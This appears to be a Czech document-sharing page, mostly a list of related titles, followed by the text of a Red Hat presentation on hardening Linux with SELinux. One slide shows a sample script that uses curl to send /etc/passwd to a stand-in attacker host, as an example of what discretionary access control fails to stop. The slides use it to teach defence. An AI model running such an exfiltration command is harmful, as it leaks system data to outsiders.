Se SELinuxem bezpečně

Podobné dokumenty
Security Enhanced Linux (SELinux)

Úvod do Linuxu SŠSI Tábor 1

Identita uživatele (procesu)

Operační systémy 2. Firewally, NFS Přednáška číslo 7b

Administrace OS Unix. Úvodní informace Principy administrace Uživatelé

Minimální požadavky na systém Linux a Windows na jednom disku Zrušení instalace Mandriva Linuxu... 23

Přednáška 5. Identita uživatelů, procesů a souborů. Přístupová práva a jejich nastavení. Úvod do Operačních Systémů Přednáška 5

RBAC (ROLE BASED ACCESS CONTROL) Martin Zukal

Téma 9: Administrace systému CentOS. Představení a používání aplikací pro administraci CentOS

Instalace a první spuštění Programu Job Abacus Pro

LINUX ADRESÁŘOVÁ STRUKTURA. Co to, hrome, je? V této lekci se budeme brouzdat adresáři. SPŠ Teplice - 3.V

Zprovoznění nových userů pro pure-ftpd server (s privátními adresáři)

Ope p r e a r čn č í s ys y té t m é y y Windo d w o s Stručný přehled

PV157 Autentizace a řízení přístupu. Řízení přístupu

Identita uživatelů, přístupová práva. Linux

Instalace a konfigurace web serveru. WA1 Martin Klíma

Identita uživatele. predn_04.odt :47:03 1

Vladimír Václavek 2010/2011

Před instalací 25 Minimální požadavky na systém Linux a Windows na jednom disku Zrušení instalace Mandriva Linuxu...

Windows 2008 R2 - úvod. Lumír Návrat

Administrace Unixu a sítí

Nainstaloval jsem a jak dál? Michal Turek

Linux Hardening Tipy & Triky. Jakub Suchý Red Hat Certified Engineer

Operační systém GNU/Linux

Úvod do Unixu. man: příkaz pro zobrazení nápovědy k danému příkazu, programu (pokud je k dispozici), např. man cp. pwd: vypíše cestu k aktuální pozici

Úvod do OpenWRT. Ondřej Caletka. 1. března Uvedené dílo podléhá licenci Creative Commons Uveďte autora 3.0 Česko.

Uživatelský modul. Modem Bonding

Úvod do UNIXu. Okruh č. 1 - přihlášení, historie, práce se soubory. Jakub Galgonek. verze r1. inspirováno materiály Davida Hokszy

Úvod, jednoduché příkazy

Národní šetření výsledků žáků v počátečním vzdělávání

Systém souborů (File System)

Případová studie: Adresářové řešení pro webhosting pomocí ApacheDS. Lukáš Jelínek

Úvod do Operačních Systémů

Technologie. Osnovy kurzu: Školení správců systému. 1. den, dopolední blok

Fakulta informačních technologií Božetěchova 2, BRNO

Red Hat Enterprise Virtualization

DNS. Počítačové sítě. 11. cvičení

Úvod do Operačních Systémů

Individuální projekt z předmětu webových stránek Anketa Jan Livora

Y36SPS Semestrální práce. Linux based webhosting. Jan Matoušek

Úvod do UNIXu. Libor Forst

Základy operačního systému LINUX část I

LINUX uživatelské účty (1)

Střední odborná škola a Střední odborné učiliště, Hořovice

2N Access Commander. Základy použití Verze

Zásuvné Autentifikační Moduly

1. přednáška pro začátečníky

Poznámky k vydání pro Kerio Workspace 2.0.1

PŘÍRUČKA SYSTÉMOVÉHO ADMINISTRÁTORA PRO HOMEBANKING PPF banky a.s.

Souborový systém. ZPS 4 Souborový systém, sdílení souborů a tiskáren, VPN

Poznámky k vydání. pro Kerio Connect Release Candidate 1

Rozdělení operačních systémů

Nástroje pro FlowSpec a RTBH. Jiří Vraný, Petr Adamec a Josef Verich CESNET. 30. leden 2019 Praha

Univerzita Pardubice Fakulta elektrotechniky a informatiky ISOSY Matěj Trakal

Poznámky k vydání. pro Kerio Connect Významné změny ve verzi 7.4. Datum: 21. srpna Kerio Technologies. Všechna práva vyhrazena.

Základy informatiky. Operační systémy

PŘÍKAZY OVLÁDÁNÍ SHELLU

Licence Creative Commons a jejich česká verze

LINUX SOUBORY. Zadejme příkaz ls l! V této lekci se odrazíme od dlouhého výpisu příkazu ls a uvidíme, kam nás to zanese. SPŠ Teplice - 3.

Více úrovňové informační systémy a jejich certifikace podle zákona č.412/2005 Sb.

Lekce 21 IMPLEMENTACE OPERAČNÍHO SYSTÉMU LINUX DO VÝUKY INFORMAČNÍCH TECHNOLOGIÍ

konec šedesátých let vyvinut ze systému Multics původní účel systém pro zpracování textů autoři: Ken Thompson a Denis Ritchie systém pojmnoval Brian

SELinux. Vysoká škola ekonomická v Praze Fakulta informatiky a statistiky. Katedra informačního a znalostního inženýrství Obor aplikovaná informatika

Instalace webové služby Mydlinka

SQL a XML jako alternativa ke klasickým unixovým nástrojům

Linux na desktopu Pro Běžně Frustrované Uživatele

PSK3-20. Malý poštovní server I. Instalace

1 Správce licencí Správce licencí Správce licencí Start > Všechny programy > IDEA StatiCa > Správce licencí Soubor > Správce licencí Licence

GroupWise. Novell STRUČ NÁ ÚVODNÍ PŘ ÍRUČ KA

Nastavení DCOM. Uživatelský manuál

Firewally a iptables. Přednáška číslo 12

Stručná instalační příručka SUSE Linux Enterprise Server 11

APS 400 nadministrator

Západočeská univerzita v Plzni Fakulta aplikovaných věd katedra informatiky a výpočetní techniky LABORATORNÍ PRÁCE. z předmětu Přenos dat.

Úvod do Operačních Systémů

Řešení pro audit činnosti administrátorů UNIX/Linux serverů

Virtualizace na Linuxu

more Program se zastaví vždy po vypsání jedné stránky textu. Ukončení Ctrl+C less Umožňuje pohybovat se v souboru dopředu i dozadu.

Důvěryhodná výpočetní základna v prostředí rozsáhlých IS státní správy

Téma 6 - řešení s obrázky

Instalace Active Directory

C2110 Operační systém UNIX a základy programování

IMPLEMENTACE OPERAČNÍHO SYSTÉMU LINUX DO VÝUKY INFORMAČNÍCH TECHNOLOGIÍ

NSA GB HDD. Příručka k rychlé instalaci. Multimediální server s jedním diskem. Výchozí přihlašovací údaje. Webová adresa: nsa310 Heslo: 1234

SOU Valašské Klobouky. VY_32_INOVACE_01_15 IKT Operační systémy, základní vlastnosti, přehled. Mgr. Radomír Soural

Red Hat Academy - možnosti linuxového vzdělávání pro školy

INSTALACE SOFTWARE A AKTIVACE PRODUKTU NÁVOD

Poslední aktualizace: 14. května 2013

PROČ SE V ZIMĚ SOLÍ ULICE?

Přednáška 1. Úvod. Historie OS Unix. Architektura OS Unix. Interpret příkazů SHELL. Zpracování příkazové řádky. Speciální znaky. Zkratky příkazů.

ZOS CV1 Základy operačních systémů

Administrace Unixu a sítí

Porovnání instalací linuxových distribucí Fedora x Debian Administrace počítačových sítí (2010/2011)

Cobbler, Puppet, Func

Compatibility List. GORDIC spol. s r. o. Verze

DERATIZACE ANEB PROČ PŘÍKAZY ;)

FreeIPA a SSSD. Správa uživatelů pomocí Free Software. LinuxAlt 2009 Jakub Hrozek Martin Nagy 30. listopadu 2009

Instalace a konfigurace

ORION Podpora notebooků

STUDIJNÍ MATERIÁL PRO TECHNICKOU CERTIFIKACI ESET Business Edition, ESET Remote Administrator

Transkript:

Se SELinuxem bezpečně Matěj Cepl Desktop Bugzapper Red Hat, Inc. This presentation is made available under a Creative Commons Attribution-ShareAlike (BY-SA) 3.0 license.

Mandatory Access Control V současné dob ě Linux ( a Unixy obecn ě) podporují DAC (Discretionary Access Control) Práva programu se řídí výlučn ě právem uživatele, který ho spustil.

Co funguje Nejnebezpečnější informace jsou chráněny: např. skripty spuštěné z Apache nemůžou číst /etc/shadow nebo normální uživatel nemá přístup k /var/log/secure. Uživatelé si nemohou navzájem číst svoje /home adresáře.

Co nefunguje NEDOSTATEČNÁ GRANULARITA! Všemocný root (jestliže se cracker stane rootem, obrana v podstatě skončila) Práva pro aplikaci === práva uživatele Není menší granularita nežli uživatel Omezeno jenom na soubory Do souboru /etc/shadow smí zapisovat jenom program login, ale pouze pokud je spuštěn uživatelem root z programu passwd, ani root, ani login program ale do něho jinak zapisovat nesmí.

Co nefunguje (2) Takže třeba, co může Firefox číst? kmacmill firefox-bin -rw------- 1 kmacmill kmacmill.ssh/id_rsa (třeba flash ve Firefoxu) Nebo...

Co nefunguje (3) Může Apache zapsat a spustit tento skript? -rwxr-xr-x nobody /tmp/to-russia-with-love a copak je v něm? $ cat /tmp/to-russia-with-love #!/bin/sh curl --data "@/etc/passwd" \ http://very-bad-guys.ru/store.php

Krátká historie SELinuxu Interní projekty NSA na vytvoření MAC systémů, type enforcement, RBA a MLS. 2000 zveřejněna patch pro Linux 2003 začleněna do kernelu 2.6.0-test3. Květen 2004 součástí Fedora Core 2 naprostý neúspěch (strict policy) Listopad 2004 Fedora Core 3 targeted policy (defaultuje do unconfined)

Mandatory Access Control Základem všeho jsou značky (u souborů xattr, proto je nutno pamatovat na zálohování) johanka:~$ ls -lz /etc/resolv.conf -rw-r--r--. root root system_u:object_r:net_conf_t:s0 /etc/resolv.conf johanka:~$ User, role, type, úroveň v MLS Podobně pro uživatele a další objekty systému johanka:~$ id -Z staff_u:staff_r:staff_t:s0-s0:c0.c1023 johanka:~$

Současný SELinux Default SELinuxu je strict, ALE téměř vše unconfined není rozdílu od situaci, kdy by SELinux nebyl. Pouze vyjmenované služby jsou confined. Jenom asi padesát programů vůbec ví o existenci SELinuxu. V posledních verzích Fedory pozvolný návrat ke klientským confined procesům (flash, sandbox, xguest).

Příklad Apache Samotný Apache program nebyl změněn. Správce systému má tři možnosti nastavení: zobrazovat soubory z ~/public_html a spouštět skripty? Cracker může jenom to, co Apache. Jestli Apache může pouze číst z /var/www/html, tak to je vše. Např. nemůže spouštět žádné skripty (nikdy, to nelze nastavit) z jiných adresářů nežli pro to označených.

Jak dopadnout špatně vim ~/resolv.conf mv ~/resolv.conf /etc ls -lz /etc/resolv.conf Confined domény budou hlásit chyby přístupu k user_home_t restorecon /etc/resolv.conf

Základní fígly Na novém disku nebo při vypnutém SELinuxu # touch /.autorelabel ; reboot V případě problémů s labely # restorecon -v -R <adresář> (mimochodem, restorecond(8) běží v pozadí)

Konfigurace (1) $ ssh -p 785 moje@nekde.cz ssh(1) je pochopitelně jednou z nejostřeji chráněných aplikací. # semanage port -a -t ssh_port_t -p tcp 785

Konfigurace (2) Mnohá nastavení SELinuxu jsou ovlivnitelná pomocí SE booleans(8), nastavení která ovlivňují některé části policy. # getsebool -a grep sftp sftp_enable_homedirs --> off sftpd_anon_write --> off sftpd_full_access --> off sftpd_write_ssh_home --> off

Konfigurace (3)

Další projekty Jemné rozdělení práv v SELinuxu na každý objekt je využíváno i v jiných projektech: SE-PostgreSQL http://code.google.com/p/sepgsql MAC na databázových objektech, granularita SVirt http://selinuxproject.org/page/svirt Confined (spoutané?) virtuální stroje